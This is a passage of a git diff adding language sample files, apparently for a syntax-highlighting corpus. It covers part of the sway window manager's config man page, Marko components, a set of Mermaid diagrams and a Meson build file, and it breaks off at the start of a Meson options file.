+	The priority for matching bindings is as follows: input device, group,
+	and locked state.
+
+	_--whole-window_, _--border_, and _--exclude-titlebar_ are mouse-only options
+	which affect the region in which the mouse bindings can be triggered.  By
+	default, mouse bindings are only triggered when over the title bar. With the
+	_--border_ option, the border of the window will be included in this region.
+	With the _--whole-window_ option, the cursor can be anywhere over a window
+	including the title, border, and content. _--exclude-titlebar_ can be used in
+	conjunction with any other option to specify that the titlebar should be
+	excluded from the region of consideration.
+
+	If _--whole-window_ is given, the command can be triggered when the cursor
+	is over an empty workspace. Using a mouse binding over a layer surface's
+	exclusive region is not currently possible.
+
+	Example:
+```
+		# Execute firefox when alt, shift, and f are pressed together
+		bindsym Mod1+Shift+f exec firefox
+```
+
+	*bindcode* [--whole-window] [--border] [--exclude-titlebar] [--release] \
+[--locked] [--input-device=<device>] [--no-warn] [Group<1-4>+]<code> <command>
+	is also available for binding with key/button codes instead of key/button names.
+
+*bindswitch* [--locked] [--no-warn] [--reload] <switch>:<state> <command>
+	Binds <switch> to execute the sway command _command_ on state changes.
+	Supported switches are _lid_ (laptop lid) and _tablet_ (tablet mode)
+	switches. Valid values for _state_ are _on_, _off_ and _toggle_. These
+	switches are on when the device lid is shut and when tablet mode is active
+	respectively. _toggle_ is also supported to run a command both when the
+	switch is toggled on or off.
+
+	Unless the flag _--locked_ is set, the command will not be run when a
+	screen locking program is active. If there is a matching binding with
+	and without _--locked_, the one with will be preferred when locked and the
+	one without will be preferred when unlocked.
+
+	If the _--reload_ flag is given, the binding will also be executed when
+	the config is reloaded. _toggle_ bindings will not be executed on reload.
+	The _--locked_ flag will operate as normal so if the config is reloaded
+	while locked and _--locked_ is not given, the binding will not be executed.
+
+	By default, if you overwrite a binding, swaynag will give you a warning. To
+	silence this, use the _--no-warn_ flag.
+
+	Example:
+```
+		# Show the virtual keyboard when tablet mode is entered.
+		bindswitch tablet:on busctl call --user sm.puri.OSK0 /sm/puri/OSK0 sm.puri.OSK0 SetVisible b true
+
+		# Log a message when the laptop lid is opened or closed.
+		bindswitch lid:toggle exec echo "Lid moved"
+```
+
+*client.background* <color>
+	This command is ignored and is only present for i3 compatibility.
+
+*client.<class>* <border> <background> <text> [<indicator> [<child_border>]]
+	Configures the color of window borders and title bars. The first three
+	colors are required. When omitted _indicator_ will use a sane default and
+	_child_border_ will use the color set for _background_. Colors may be
+	specified in hex, either as _#RRGGBB_ or _#RRGGBBAA_.
+
+	The available classes are:
+
+	*client.focused*
+		The window that has focus.
+
+	*client.focused_inactive*
+		The most recently focused view within a container which is not focused.
+
+	*client.placeholder*
+		Ignored (present for i3 compatibility).
+
+	*client.unfocused*
+		A view that does not have focus.
+
+	*client.urgent*
+		A view with an urgency hint. *Note*: Native Wayland windows do not
+		support urgency. Urgency only works for Xwayland windows.
+
+	The meaning of each color is:
+
+	_border_
+		The border around the title bar.
+
+	_background_
+		The background of the title bar.
+
+	_text_
+		The text color of the title bar.
+
+	_indicator_
+		The color used to indicate where a new view will open. In a tiled
+		container, this would paint the right border of the current view if a
+		new view would be opened to the right.
+
+	_child_border_
+		The border around the view itself.
+
+The default colors are:
+
+[- *class*
+:[ _border_
+:[ _background_
+:[ _text_
+:[ _indicator_
+:[ _child_border_
+|[ *background*
+:  n/a
+:  #ffffff
+:  n/a
+:  n/a
+:  n/a
+|  *focused*
+:  #4c7899
+:  #285577
+:  #ffffff
+:  #2e9ef4
+:  #285577
+|  *focused_inactive*
+:  #333333
+:  #5f676a
+:  #ffffff
+:  #484e50
+:  #5f676a
+|  *unfocused*
+:  #333333
+:  #222222
+:  #888888
+:  #292d2e
+:  #222222
+|  *urgent*
+:  #2f343a
+:  #900000
+:  #ffffff
+:  #900000
+:  #900000
+|  *placeholder*
+:  #000000
+:  #0c0c0c
+:  #ffffff
+:  #000000
+:  #0c0c0c
+
+
+*default_border* normal|none|pixel [<n>]
+	Set default border style for new tiled windows.
+
+*default_floating_border* normal|none|pixel [<n>]
+	Set default border style for new floating windows. This only applies to
+	windows that are spawned in floating mode, not windows that become floating
+	afterwards.
+
+*exec* <shell command>
+	Executes _shell command_ with sh.
+
+*exec_always* <shell command>
+	Like *exec*, but the shell command will be executed _again_ after *reload*.
+
+*floating_maximum_size* <width> x <height>
+	Specifies the maximum size of floating windows. -1 x -1 removes the upper
+	limit. The default is 0 x 0, which will use the width and height of the
+	entire output layout as the maximums
+
+*floating_minimum_size* <width> x <height>
+	Specifies the minimum size of floating windows. The default is 75 x 50.
+
+*floating_modifier* <modifier> [normal|inverse]
+	When the _modifier_ key is held down, you may hold left click to move
+	windows, and right click to resize them. Setting _modifier_ to _none_
+	disables this feature. If _inverse_ is specified, left click is used for
+	resizing and right click for moving.
+
+*focus_follows_mouse* yes|no|always
+	If set to _yes_, moving your mouse over a window will focus that window. If
+	set to _always_, the window under the cursor will always be focused, even
+	after switching between workspaces.
+
+*focus_on_window_activation* smart|urgent|focus|none
+	This option determines what to do when an xwayland client requests
+	window activation. If set to _urgent_, the urgent state will be set
+	for that window. If set to _focus_, the window will become focused.
+	If set to _smart_, the window will become focused only if it is already
+	visible, otherwise the urgent state will be set. Default is _urgent_.
+
+*focus_wrapping* yes|no|force|workspace
+	This option determines what to do when attempting to focus over the edge
+	of a container. If set to _no_, the focused container will retain focus,
+	if there are no other containers in the direction. If set to _yes_, focus
+	will be wrapped to the opposite edge of the container, if there are no
+	other containers in the direction. If set to _force_, focus will be wrapped
+	to the opposite edge of the container, even if there are other containers
+	in the direction. If set to _workspace_, focus will wrap like in the _yes_
+	case and additionally wrap when moving outside of workspaces boundaries.
+	Default is _yes_.
+
+*font* [pango:]<font>
+	Sets font to use for the title bars. To enable support for pango markup,
+	preface the font name with _pango:_. For example, _monospace 10_ is the
+	default font. To enable support for pango markup, _pango:monospace 10_
+	should be used instead. Regardless of whether pango markup is enabled,
+	_font_ should be specified as a pango font description. For more
+	information on pango font descriptions, see
+	https://developer.gnome.org/pango/stable/pango-Fonts.html#pango-font-description-from-string
+
+*force_display_urgency_hint* <timeout> [ms]
+	If an application on another workspace sets an urgency hint, switching to this
+	workspace may lead to immediate focus of the application, which also means the
+	window decoration color would be immediately resetted to *client.focused*. This
+	may make it unnecessarily hard to tell which window originally raised the
+	event. This option allows to set a _timeout_ in ms to delay the urgency hint reset.
+
+*titlebar_border_thickness* <thickness>
+	Thickness of the titlebar border in pixels
+
+*titlebar_padding* <horizontal> [<vertical>]
+	Padding of the text in the titlebar. _horizontal_ value affects horizontal
+	padding of the text while _vertical_ value affects vertical padding (space
+	above and below text). Padding includes titlebar borders so their value
+	should be greater than titlebar_border_thickness. If _vertical_ value is
+	not specified it is set to the _horizontal_ value.
+
+*for_window* <criteria> <command>
+	Whenever a window that matches _criteria_ appears, run list of commands.
+	See *CRITERIA* for more details.
+
+*gaps* inner|outer|horizontal|vertical|top|right|bottom|left <amount>
+	Sets default _amount_ pixels of _inner_ or _outer_ gap, where the inner
+	affects spacing around each view and outer affects the spacing around each
+	workspace. Outer gaps are in addition to inner gaps. To reduce or remove
+	outer gaps, outer gaps can be set to a negative value. _outer_ gaps can
+	also be specified per side with _top_, _right_, _bottom_, and _left_ or
+	per direction with _horizontal_ and _vertical_.
+
+	This affects new workspaces only, and is used when the workspace doesn't
+	have its own gaps settings (see: workspace <ws> gaps ...).
+
+*hide_edge_borders* [--i3] none|vertical|horizontal|both|smart|smart_no_gaps
+	Hides window borders adjacent to the screen edges. Default is _none_. The
+	_--i3_ option enables i3-compatible behavior to hide the title bar on
+	tabbed and stacked containers with one child. The _smart_|_smart_no_gaps_
+	options are equivalent to setting _smart_borders_ smart|no_gaps and
+	_hide_edge_borders_ none.
+
+*input* <input_device> <input-subcommands...>
+	For details on input subcommands, see *sway-input*(5).
+
+	\* may be used in lieu of a specific device name to configure all input
+	devices. A list of input device names may be obtained via *swaymsg -t
+	get_inputs*.
+
+*seat* <seat> <seat-subcommands...>
+	For details on seat subcommands, see *sway-input*(5).
+
+*kill*
+	Kills (closes) the currently focused container and all of its children.
+
+*smart_borders* on|no_gaps|off
+	If smart_borders are _on_, borders will only be enabled if the workspace
+	has more than one visible child. If smart_borders is set to _no_gaps_,
+	borders will only be enabled if the workspace has more than one visible
+	child and gaps equal to zero.
+
+*smart_gaps* on|off
+	If smart_gaps are _on_ gaps will only be enabled if a workspace has more
+	than one child.
+
+*mark* --add|--replace [--toggle] <identifier>
+	Marks are arbitrary labels that can be used to identify certain windows and
+	then jump to them at a later time. Each _identifier_ can only be set on a
+	single window at a time since they act as a unique identifier. By default,
+	*mark* sets _identifier_ as the only mark on a window. _--add_ will instead
+	add _identifier_ to the list of current marks for that window. If _--toggle_
+	is specified mark will remove _identifier_ if it is already marked.
+
+*mode* <mode>
+	Switches to the specified mode. The default mode is _default_.
+
+*mode* [--pango_markup] <mode> <mode-subcommands...>
+	The only valid _mode-subcommands..._ are *bindsym*, *bindcode*,
+	*bindswitch*, and *set*. If _--pango_markup_ is given, then _mode_ will be
+	interpreted as pango markup.
+
+*mouse_warping* output|container|none
+	If _output_ is specified, the mouse will be moved to new outputs as you
+	move focus between them. If _container_ is specified, the mouse will be
+	moved to the middle of the container on switch. Default is _output_.
+
+*no_focus* <criteria>
+	Prevents windows matching <criteria> from being focused automatically when
+	they're created. This has no effect on the first window in a workspace.
+
+*output* <output_name> <output-subcommands...>
+	For details on output subcommands, see *sway-output*(5).
+
+	\* may be used in lieu of a specific output name to configure all outputs.
+	A list of output names may be obtained via *swaymsg -t get_outputs*.
+
+*popup_during_fullscreen* smart|ignore|leave_fullscreen
+	Determines what to do when a fullscreen view opens a dialog.
+	If _smart_ (the default), the dialog will be displayed. If _ignore_, the
+	dialog will not be rendered. If _leave_fullscreen_, the view will exit
+	fullscreen mode and the dialog will be rendered.
+
+*set* $<name> <value>
+	Sets variable $_name_ to _value_. You can use the new variable in the
+	arguments of future commands. When the variable is used, it can be escaped
+	with an additional $ (ie $$_name_) to have the replacement happen at run
+	time instead of when reading the config. However, it does not always make
+	sense for the variable to be replaced at run time since some arguments do
+	need to be known at config time.
+
+*show_marks* yes|no
+	If *show_marks* is yes, marks will be displayed in the window borders.
+	Any mark that starts with an underscore will not be drawn even if
+	*show_marks* is yes. The default is _yes_.
+
+*opacity* [set|plus|minus] <value>
+	Adjusts the opacity of the window between 0 (completely transparent) and
+	1 (completely opaque). If the operation is omitted, _set_ will be used.
+
+*tiling_drag*  enable|disable|toggle
+	Sets whether or not tiling containers can be dragged with the mouse. If
+	_enabled_ (default), the _floating_mod_ can be used to drag tiling, as well
+	as floating, containers. Using the left mouse button on title bars without
+	the _floating_mod_ will also allow the container to be dragged. _toggle_
+	should not be used in the config file.
+
+*tiling_drag_threshold* <threshold>
+	Sets the threshold that must be exceeded for a container to be dragged by
+	its titlebar. This has no effect if _floating_mod_ is used or if
+	_tiling_drag_ is set to _disable_.  Once the threshold has been exceeded
+	once, the drag starts and the cursor can come back inside the threshold
+	without stopping the drag.  _threshold_ is multiplied by the scale of the
+	output that the cursor on.  The default is 9.
+
+*title_align* left|center|right
+	Sets the title alignment. If _right_ is selected and _show_marks_ is set
+	to _yes_, the marks will be shown on the _left_ side instead of the
+	_right_ side.
+
+*unbindswitch* <switch>:<state>
+	Removes a binding for when <switch> changes to <state>.
+
+*unbindsym* [--whole-window] [--border] [--exclude-titlebar] [--release] [--locked] \
+[--to-code] [--input-device=<device>] <key combo>
+	Removes the binding for _key combo_ that was previously bound with the
+	given flags.  If _input-device_ is given, only the binding for that
+	input device will be unbound.
+
+	*unbindcode* [--whole-window] [--border] [--exclude-titlebar] [--release] \
+[--locked] [--input-device=<device>] <code>
+	is also available for unbinding with key/button codes instead of key/button names.
+
+*unmark* [<identifier>]
+	*unmark* will remove _identifier_ from the list of current marks on a
+	window. If _identifier_ is omitted, all marks are removed.
+
+*urgent* enable|disable|allow|deny
+	Using _enable_ or _disable_ manually sets or unsets the window's urgent
+	state. Using _allow_ or _deny_ controls the window's ability to set itself
+	as urgent. By default, windows are allowed to set their own urgency.
+
+*workspace* [--no-auto-back-and-forth] [number] <[num:]name>
+	Switches to the specified workspace. The _num:_ portion of the name is
+	optional and will be used for ordering. If _num:_ is not given and
+	_name_ is a number, then it will be also be used for ordering.
+
+	If the _no-auto-back-and-forth_ option is given, then this command will
+	not perform a back-and-forth operation when the workspace is already
+	focused and _workspace_auto_back_and_forth_ is enabled.
+
+	If the _number_ keyword is specified and a workspace with the number
+	already exists, then the workspace with the number will be used. If a
+	workspace with the number does not exist, a new workspace will be created
+	with the name _name_.
+
+*workspace* prev|next
+	Switches to the next workspace on the current output or on the next output
+	if currently on the last workspace.
+
+*workspace* prev_on_output|next_on_output
+	Switches to the next workspace on the current output.
+
+*workspace* back_and_forth
+	Switches to the previously focused workspace.
+
+*workspace* <name> gaps inner|outer|horizontal|vertical|top|right|bottom|left
+<amount>
+	Specifies that workspace _name_ should have the given gaps settings when it
+	is created.
+
+	This command does not affect existing workspaces. To alter the gaps of an
+	existing workspace, use the _gaps_ command.
+
+*workspace* <name> output <outputs...>
+	Specifies that workspace _name_ should be shown on the specified _outputs_.
+	Multiple outputs can be listed and the first available will be used. If the
+	workspace gets placed on an output further down the list and an output that
+	is higher on the list becomes available, the workspace will be moved to the
+	higher priority output.
+
+	This command does not affect existing workspaces. To move an existing
+	workspace, use the _move_ command in combination with the _workspace_
+	criteria (non-empty workspaces only) or _workspace_ command (to switch
+	to the workspace before moving).
+
+*workspace_auto_back_and_forth* yes|no
+	When _yes_, repeating a workspace switch command will switch back to the
+	prior workspace. For example, if you are currently on workspace 1,
+	switch to workspace 2, then invoke the *workspace 2* command again, you
+	will be returned to workspace 1. Default is _no_.
+
+# CRITERIA
+
+A criteria is a string in the form of, for example:
+
+```
+[class="[Rr]egex.*" title="some title"]
+```
+
+The string contains one or more (space separated) attribute/value pairs. They
+are used by some commands to choose which views to execute actions on. All
+attributes must match for the criteria to match. Criteria is retained across
+commands separated by a *,*, but will be reset (and allow for new criteria, if
+desired) for commands separated by a *;*.
+
+Criteria may be used with either the *for_window* or *assign* commands to
+specify operations to perform on new views. A criteria may also be used to
+perform specific commands (ones that normally act upon one window) on all views
+that match that criteria. For example:
+
+Focus on a window with the mark "IRC":
+
+```
+[con_mark="IRC"] focus
+```
+
+Kill all windows with the title "Emacs":
+
+```
+[class="Emacs"] kill
+```
+
+You may like to use swaymsg -t get_tree for finding the values of these
+properties in practice for your applications.
+
+The following attributes may be matched with:
+
+*app_id*
+	Compare value against the app id. Can be a regular expression. If value is
+	\_\_focused\_\_, then the app id must be the same as that of the currently
+	focused window. _app_id_ are specific to Wayland applications.
+
+*class*
+	Compare value against the window class. Can be a regular expression. If
+	value is \_\_focused\_\_, then the window class must be the same as that of
+	the currently focused window. _class_ are specific to X11 applications.
+
+*con_id*
+	Compare against the internal container ID, which you can find via IPC. If
+	value is \_\_focused\_\_, then the id must be the same as that of the
+	currently focused window.
+
+*con_mark*
+	Compare against the window marks. Can be a regular expression.
+
+*floating*
+	Matches floating windows.
+
+*id*
+	Compare value against the X11 window ID. Must be numeric.
+
+*instance*
+	Compare value against the window instance. Can be a regular expression. If
+	value is \_\_focused\_\_, then the window instance must be the same as that
+	of the currently focused window.
+
+*pid*
+	Compare value against the window's process ID. Must be numeric.
+
+*shell*
+	Compare value against the window shell, such as "xdg_shell" or "xwayland".
+	Can be a regular expression. If value is \_\_focused\_\_, then the shell
+	must be the same as that of the currently focused window.
+
+*tiling*
+	Matches tiling windows.
+
+*title*
+	Compare against the window title. Can be a regular expression. If value is
+	\_\_focused\_\_, then the window title must be the same as that of the
+	currently focused window.
+
+*urgent*
+	Compares the urgent state of the window. Can be _first_, _last_, _latest_,
+	_newest_, _oldest_ or _recent_.
+
+*window_role*
+	Compare against the window role (WM_WINDOW_ROLE). Can be a regular
+	expression. If value is \_\_focused\_\_, then the window role must be the
+	same as that of the currently focused window.
+
+*window_type*
+	Compare against the window type (\_NET_WM_WINDOW_TYPE). Possible values
+	are normal, dialog, utility, toolbar, splash, menu, dropdown_menu,
+	popup_menu, tooltip and notification.
+
+*workspace*
+	Compare against the workspace name for this view. Can be a regular
+	expression. If the value is \_\_focused\_\_, then all the views on the
+	currently focused workspace matches.
+
+# SEE ALSO
+
+*sway*(1) *sway-input*(5) *sway-output*(5) *sway-bar*(5) *sway-ipc*(7)
diff --git a/samples/Markdown/symlink.md b/samples/Markdown/symlink.md
new file mode 120000
index 0000000000..2b1c6388d6
--- /dev/null
+++ b/samples/Markdown/symlink.md
@@ -0,0 +1 @@
+README.mdown
\ No newline at end of file
diff --git a/samples/Marko/counter.marko b/samples/Marko/counter.marko
new file mode 100644
index 0000000000..b9ab9fc811
--- /dev/null
+++ b/samples/Marko/counter.marko
@@ -0,0 +1,26 @@
+class {
+    constructor() {
+        this.state = { count:0 };
+    }
+    increment() {
+        this.state.count++;
+    }
+}
+
+style {
+    .count {
+        color:#09c;
+        font-size:3em;
+    }
+    .example-button {
+        font-size:1em;
+        padding:0.5em;
+    }
+}
+
+<div.count>
+    ${state.count}
+</div>
+<button.example-button on-click('increment')>
+    Click me!
+</button>
\ No newline at end of file
diff --git a/samples/Marko/hello.marko b/samples/Marko/hello.marko
new file mode 100644
index 0000000000..3d550b0e3e
--- /dev/null
+++ b/samples/Marko/hello.marko
@@ -0,0 +1,15 @@
+$ var name = 'Frank';
+$ var colors = ['red', 'green', 'blue'];
+
+<h1>
+    Hello ${name}!
+</h1>
+
+<ul if(colors.length)>
+    <li style={color: color} for(color in colors)>
+        ${color}
+    </li>
+</ul>
+<div else>
+    No colors!
+</div>
diff --git a/samples/Marko/rgb-sliders.marko b/samples/Marko/rgb-sliders.marko
new file mode 100644
index 0000000000..91b139155c
--- /dev/null
+++ b/samples/Marko/rgb-sliders.marko
@@ -0,0 +1,36 @@
+static const colors = ['red', 'green', 'blue'];
+static const defaultColor = [255, 0, 0];
+
+class {
+	onInput(input) {
+		this.state = { color: input.color || defaultColor };
+	}
+
+	updateColor() {
+    	this.state.color = colors.map((color) => {
+        	return parseInt(this.getEl(color + 'Input').value, 10);
+        });
+    }
+
+    getStyleColor() {
+    	return 'rgb(' + this.state.color.join(',') + ')';
+    }
+}
+
+<div.rgb-sliders>
+    <div.inputs>
+    	<for(i, color in colors)>
+        	<div>
+                <label for-key=color+"Input">
+                    ${color}:
+                </label>
+                <input type="range" max="255"
+                    key=color+"Input"
+                    on-input('updateColor')
+                    value=state.color[i] >
+            </div>
+        </for>
+    </div>
+    <div.color style={backgroundColor: component.getStyleColor()}>
+    </div>
+</div>
diff --git a/samples/Mermaid/c4c-diagram.mermaid b/samples/Mermaid/c4c-diagram.mermaid
new file mode 100644
index 0000000000..51af4251c2
--- /dev/null
+++ b/samples/Mermaid/c4c-diagram.mermaid
@@ -0,0 +1,42 @@
+C4Context
+	title System Context diagram for Internet Banking System
+	Enterprise_Boundary(b0, "BankBoundary0") {
+		Person(customerA, "Banking Customer A", "A customer of the bank, with personal bank accounts.")
+		Person(customerB, "Banking Customer B")
+		Person_Ext(customerC, "Banking Customer C", "desc")
+
+		Person(customerD, "Banking Customer D", "A customer of the bank, <br/> with personal bank accounts.")
+
+		System(SystemAA, "Internet Banking System", "Allows customers to view information about their bank accounts, and make payments.")
+
+		Enterprise_Boundary(b1, "BankBoundary") {
+
+			SystemDb_Ext(SystemE, "Mainframe Banking System", "Stores all of the core banking information about customers, accounts, transactions, etc.")
+
+			System_Boundary(b2, "BankBoundary2") {
+				System(SystemA, "Banking System A")
+				System(SystemB, "Banking System B", "A system of the bank, with personal bank accounts. next line.")
+			}
+
+			System_Ext(SystemC, "E-mail system", "The internal Microsoft Exchange e-mail system.")
+			SystemDb(SystemD, "Banking System D Database", "A system of the bank, with personal bank accounts.")
+
+			Boundary(b3, "BankBoundary3", "boundary") {
+				SystemQueue(SystemF, "Banking System F Queue", "A system of the bank.")
+				SystemQueue_Ext(SystemG, "Banking System G Queue", "A system of the bank, with personal bank accounts.")
+			}
+		}
+	}
+
+	BiRel(customerA, SystemAA, "Uses")
+	BiRel(SystemAA, SystemE, "Uses")
+	Rel(SystemAA, SystemC, "Sends e-mails", "SMTP")
+	Rel(SystemC, customerA, "Sends e-mails to")
+
+	UpdateElementStyle(customerA, $fontColor="red", $bgColor="grey", $borderColor="red")
+	UpdateRelStyle(customerA, SystemAA, $textColor="blue", $lineColor="blue", $offsetX="5")
+	UpdateRelStyle(SystemAA, SystemE, $textColor="blue", $lineColor="blue", $offsetY="-10")
+	UpdateRelStyle(SystemAA, SystemC, $textColor="blue", $lineColor="blue", $offsetY="-40", $offsetX="-50")
+	UpdateRelStyle(SystemC, customerA, $textColor="red", $lineColor="red", $offsetX="-50", $offsetY="20")
+
+	UpdateLayoutConfig($c4ShapeInRow="3", $c4BoundaryInRow="1")
diff --git a/samples/Mermaid/class-diagram.mermaid b/samples/Mermaid/class-diagram.mermaid
new file mode 100644
index 0000000000..92bc2f7433
--- /dev/null
+++ b/samples/Mermaid/class-diagram.mermaid
@@ -0,0 +1,24 @@
+classDiagram
+	Animal <|-- Duck
+	Animal <|-- Fish
+	Animal <|-- Zebra
+	Animal : +int age
+	Animal : +String gender
+	Animal: +isMammal()
+	Animal: +mate()
+	class Duck{
+		+String beakColor
+		+swim()
+		+quack()
+	}
+	class Fish {
+		-int sizeInFeet
+		-canEat()
+	}
+	class Zebra{
+		+bool is_wild
+		+run()
+	}
+
+	callback Duck callback "Tooltip"
+	link Zebra "https://www.github.com" "This is a link"
diff --git a/samples/Mermaid/er-diagram.mmd b/samples/Mermaid/er-diagram.mmd
new file mode 100644
index 0000000000..3b5183900f
--- /dev/null
+++ b/samples/Mermaid/er-diagram.mmd
@@ -0,0 +1,15 @@
+erDiagram
+	CAR ||--o{ NAMED-DRIVER : allows
+	CAR {
+		string allowedDriver FK "The license of the allowed driver"
+		string registrationNumber
+		string make
+		string model
+	}
+	PERSON ||--o{ NAMED-DRIVER : is
+	PERSON {
+		string driversLicense PK "The license #"
+		string firstName
+		string lastName
+		int age
+	}
diff --git a/samples/Mermaid/flowchart.mmd b/samples/Mermaid/flowchart.mmd
new file mode 100644
index 0000000000..f67a9957ac
--- /dev/null
+++ b/samples/Mermaid/flowchart.mmd
@@ -0,0 +1,5 @@
+flowchart LR
+	A[Hard edge] -->|Link text| B(Round edge)
+	B --> C{Decision}
+	C -->|One| D[Result one]
+	C -->|Two| E[Result two]
diff --git a/samples/Mermaid/gantt.mmd b/samples/Mermaid/gantt.mmd
new file mode 100644
index 0000000000..0f821ce017
--- /dev/null
+++ b/samples/Mermaid/gantt.mmd
@@ -0,0 +1,37 @@
+gantt
+	dateFormat  YYYY-MM-DD %% Comment
+	title       Adding Gantt diagram functionality to Mermaid
+	
+	%% `excludes` accepts specific dates in YYYY-MM-DD format, days of
+	%% the week ("sunday") or "weekends", but not the word "weekdays".
+	excludes    weekends
+
+	todayMarker stroke-width:5px,stroke:#0f0,opacity:0.5
+	todayMarker off
+	inclusiveEndDates
+	topAxis
+	
+	section A section
+	Completed task            :done,    des1, 2014-01-06,2014-01-08
+	Active task               :active,  des2, 2014-01-09, 3d
+	Future task               :         des3, after des2, 5d
+	Future task2              :         des4, after des3, 5d
+
+	section Critical tasks
+	Completed task in the critical line :crit, done, 2014-01-06,24h
+	Implement parser and jison          :crit, done, after des1, 2d
+	Create tests for parser             :crit, active, 3d
+	Future task in critical line        :crit, 5d
+	Create tests for renderer           :2d
+	Add to mermaid                      :1d
+	Functionality added                 :milestone, 2014-01-25, 0d
+
+	section Documentation
+	Describe Gantt syntax               :active, a1, after des1, 3d
+	Add gantt diagram to demo page      :after a1  , 20h
+	Add another diagram to demo page    :doc1, after a1  , 48h
+
+	section Last section
+	Describe Gantt syntax               :after doc1, 3d
+	Add gantt diagram to demo page      :20h
+	Add another diagram to demo page    :48h
diff --git a/samples/Mermaid/gitgraph.mmd b/samples/Mermaid/gitgraph.mmd
new file mode 100644
index 0000000000..dd193eab86
--- /dev/null
+++ b/samples/Mermaid/gitgraph.mmd
@@ -0,0 +1,17 @@
+%%{init: { 'logLevel': 'debug', 'theme': 'default' , 'themeVariables': {
+	'tagLabelColor': '#ff0000',
+	'tagLabelBackground': '#00ff00',
+	'tagLabelBorder': '#0000ff'
+}}}%%
+gitGraph
+	commit
+	branch develop
+	commit tag:"v1.0.0"
+	commit
+	checkout main
+	commit type: HIGHLIGHT
+	commit
+	merge develop
+	commit
+	branch featureA
+	commit
diff --git a/samples/Mermaid/pie-chart.mermaid b/samples/Mermaid/pie-chart.mermaid
new file mode 100644
index 0000000000..60983cdef1
--- /dev/null
+++ b/samples/Mermaid/pie-chart.mermaid
@@ -0,0 +1,13 @@
+pie showData
+	title Alhadis's ancestry composition, according to 23andme.com
+
+	%% NB: Values are expressed as percentages
+	"British & Irish" : 44.8
+	"French & German" : 7.3
+	"Scandinavian" : 1.8
+	"Broadly Northwestern European" : 12.5
+	"Eastern European" : 16.2
+	"Greek & Balkan": 8.0
+	"Italian" : 2.0
+	"Broadly Southern European": 2.2
+	"Broadly European": 5.2
diff --git a/samples/Mermaid/requirement-diagram.mermaid b/samples/Mermaid/requirement-diagram.mermaid
new file mode 100644
index 0000000000..7fa0fbcf12
--- /dev/null
+++ b/samples/Mermaid/requirement-diagram.mermaid
@@ -0,0 +1,71 @@
+requirementDiagram
+	%% Obligatory comment
+
+	requirement test_req {
+		%% Comment
+		id: 1
+		text: the test text.
+		risk: high
+		verifymethod: test
+	}
+
+	functionalRequirement test_req2 {
+		id: 1.1
+		text: the second test text.
+		risk: low
+		verifymethod: inspection
+	}
+
+	performanceRequirement test_req3 {
+		id: 1.2
+		text: the third test text.
+		risk: medium
+		verifymethod: demonstration
+	}
+
+	interfaceRequirement test_req4 {
+		id: 1.2.1
+		text: the fourth test text.
+		risk: medium
+		verifymethod: analysis
+	}
+
+	physicalRequirement test_req5 {
+		id: 1.2.2
+		text: the fifth test text.
+		risk: medium
+		verifyMethod: analysis
+	}
+
+	designConstraint test_req6 {
+		id: 1.2.3
+		text: the sixth test text.
+		risk: medium
+		verifymethod: analysis
+	}
+
+	element test_entity {
+		%% Another comment
+		type: simulation
+	}
+
+	element test_entity2 {
+		type: word doc
+		docRef: reqs/test_entity
+	}
+
+	element test_entity3 {
+		type: "test suite"
+		docRef: github.com/all_the_tests
+	}
+
+
+	test_entity - satisfies -> test_req2
+	test_req - traces -> test_req2
+	test_req - contains -> test_req3
+	test_req3 - contains -> test_req4
+	test_req4 - derives -> test_req5
+	test_req5 - refines -> test_req6
+	test_entity3 - verifies -> test_req5
+	test_req <- copies - test_entity2
+	not - traumatises -> valid
diff --git a/samples/Mermaid/sequence-diagram.mmd b/samples/Mermaid/sequence-diagram.mmd
new file mode 100644
index 0000000000..12d4053feb
--- /dev/null
+++ b/samples/Mermaid/sequence-diagram.mmd
@@ -0,0 +1,8 @@
+sequenceDiagram
+	participant Alice
+	participant John
+	links Alice: {"Dashboard": "https://dashboard.contoso.com/alice", "Wiki": "https://wiki.contoso.com/alice"}
+	links John: {"Dashboard": "https://dashboard.contoso.com/john", "Wiki": "https://wiki.contoso.com/john"}
+	Alice->>John: Hello John, how are you?
+	John-->>Alice: Great!
+	Alice-)John: See you later!
diff --git a/samples/Mermaid/state-diagram.mmd b/samples/Mermaid/state-diagram.mmd
new file mode 100644
index 0000000000..3c2142b5a3
--- /dev/null
+++ b/samples/Mermaid/state-diagram.mmd
@@ -0,0 +1,17 @@
+stateDiagram-v2
+	direction LR
+	[*] --> Active
+
+	state Active {
+		[*] --> NumLockOff
+		NumLockOff --> NumLockOn : EvNumLockPressed
+		NumLockOn --> NumLockOff : EvNumLockPressed
+		--
+		[*] --> CapsLockOff
+		CapsLockOff --> CapsLockOn : EvCapsLockPressed
+		CapsLockOn --> CapsLockOff : EvCapsLockPressed
+		--
+		[*] --> ScrollLockOff
+		ScrollLockOff --> ScrollLockOn : EvScrollLockPressed
+		ScrollLockOn --> ScrollLockOff : EvScrollLockPressed
+	}
diff --git a/samples/Mermaid/user-journey.mmd b/samples/Mermaid/user-journey.mmd
new file mode 100644
index 0000000000..7ed1df1e1c
--- /dev/null
+++ b/samples/Mermaid/user-journey.mmd
@@ -0,0 +1,9 @@
+journey
+	title My working day
+	section Go to work
+		Make tea: 5: Me
+		Go upstairs: 3: Me
+		Do work: 1: Me, Cat
+	section Go home
+		Go downstairs: 5: Me
+		Sit down: 5: Me
diff --git a/samples/Meson/filenames/meson.build b/samples/Meson/filenames/meson.build
new file mode 100644
index 0000000000..487264d6c7
--- /dev/null
+++ b/samples/Meson/filenames/meson.build
@@ -0,0 +1,51 @@
+project('test', ['c'],
+  version: '0.1.0'
+)
+
+# This is a comment test('foo')
+
+add_global_arguments(['-foo'])
+add_global_link_arguments(['-foo'])
+
+gnome = import('gnome') # As is this
+
+gnome.do_something('test')
+
+meson.source_root()
+
+foreach foo: bar
+  foreach baz : foo
+    message(baz)
+  endforeach
+endforeach
+
+blah = '''
+afjoakjflajf  # Test
+lflkasjf
+test\'test
+test\\\\test
+test\ntest
+'''
+
+foo = ''
+foo = ''''''
+foo = 'string'
+foo = '''string2'''
+foo = 12314
+foo = 1231.1231
+foo = true
+foo = false
+foo = ['te\'st', 1, 3.3, '''test''']
+foo += 1231
+foo = '@0@'.format('test')
+foo = include_directories('foo', kwarg: 'bar', include_directories: 'foo')
+foo = true ? 'true' : 'false'
+foo = 2 - 1 + 3 % 8 / 4 * 3
+
+if true and false
+elif false or true
+elif true not false
+elif foo == 12
+elif (foo != 124) and (foo <= 200)
+else
+endif
diff --git a/samples/Meson/filenames/meson_options.txt b/samples/Meson/filenames/meson_options.txt
new file mode 100644
index 0000000000..8de97dab37
--- /dev/null
